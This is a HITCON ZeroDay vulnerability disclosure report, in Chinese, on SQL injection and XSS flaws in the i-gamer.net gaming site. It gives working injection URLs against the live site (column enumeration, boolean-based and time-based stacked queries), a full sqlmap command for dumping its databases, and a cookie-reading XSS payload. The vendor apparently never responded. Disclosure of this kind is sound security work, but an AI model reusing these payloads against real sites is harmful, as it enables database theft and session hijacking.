遊戲天堂 網站存在 XSS 與 SQL injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00380
  •  發信 Vendor: 遊戲天堂
  • Title: 遊戲天堂 網站存在 XSS 與 SQL injection
  • Introduction: 網站存在 XSS 與 SQL injection

處理狀態

目前狀態

公開
Last Update : 2022/07/31
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2022/05/31 15:43:48 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/01 02:14:01 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/01 14:47:40 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/01 15:02:51 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/23 17:11:07 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/23 17:21:42 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/23 17:24:29 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/23 17:26:57 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/23 17:27:39 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/23 18:46:41 : 新提交 (由 BTtea 更新此狀態)
  • 2022/06/24 16:45:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/06/28 17:11:15 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/06/28 17:11:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/06/28 17:11:15 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/31 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00380
  • 通報者:blacktea_player (BTtea)
  • 風險:中
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.i-gamer.net/webgame/serial/content.asp?table=vt4
https://www.i-gamer.net/webgame/login.asp?game=cyujhdj

敘述

https://www.i-gamer.net/webgame/serial/content.asp?table=vt4
table 值存在SQL injection,可以通過在後方注入SQL語法改變程式邏輯來取出資料

SQLi payload :

可以通過注入得知欄位數量,為8個columns

order by 8 時
https://www.i-gamer.net/webgame/serial/content.asp?table=vt4 order by 8#

圖片

order by 9 時
https://www.i-gamer.net/webgame/serial/content.asp?table=vt4 order by 9#

圖片
可以發現當條件為 false 時,頁面會直接導向到 Server 狀態 500

boolean-based注入:可以通過注入條件控制頁面回顯,獲取資料
and 1=1 時 ( 條件成立,正常顯示 )

https://www.i-gamer.net/webgame/serial/content.asp?table=vt4 and 1=1#

圖片

and 1=2 時 ( 條件不成立,跳轉到主頁面狀態 302 )

https://www.i-gamer.net/webgame/serial/content.asp?table=vt4 and 1=2#

圖片

stacked queries注入:可以通過加上分號,後面加上其他SQL語法進行注入
加上 waitfor delay'0:0:0' 時,會馬上顯示 ( 等待 871ms )

https://www.i-gamer.net/webgame/serial/content.asp?table=vt4;waitfor delay'0:0:0'#

圖片

加上 waitfor delay'0:0:10' 時,會延遲顯示 ( 等待 41.04 秒 )

https://www.i-gamer.net/webgame/serial/content.asp?table=vt4;waitfor delay'0:0:10'#

圖片

SQLMAP :

python3 sqlmap.py --random-agent --dbs -u "https://www.i-gamer.net/webgame/serial/content.asp?table=vt4" --dbms=mssql --technique BS --batch

圖片

XSS payload:

https://www.i-gamer.net/webgame/login.asp?game=cyujhdj
game 值存在 XSS
當加上 "><script>alert(document.cookie)</script> 時
圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;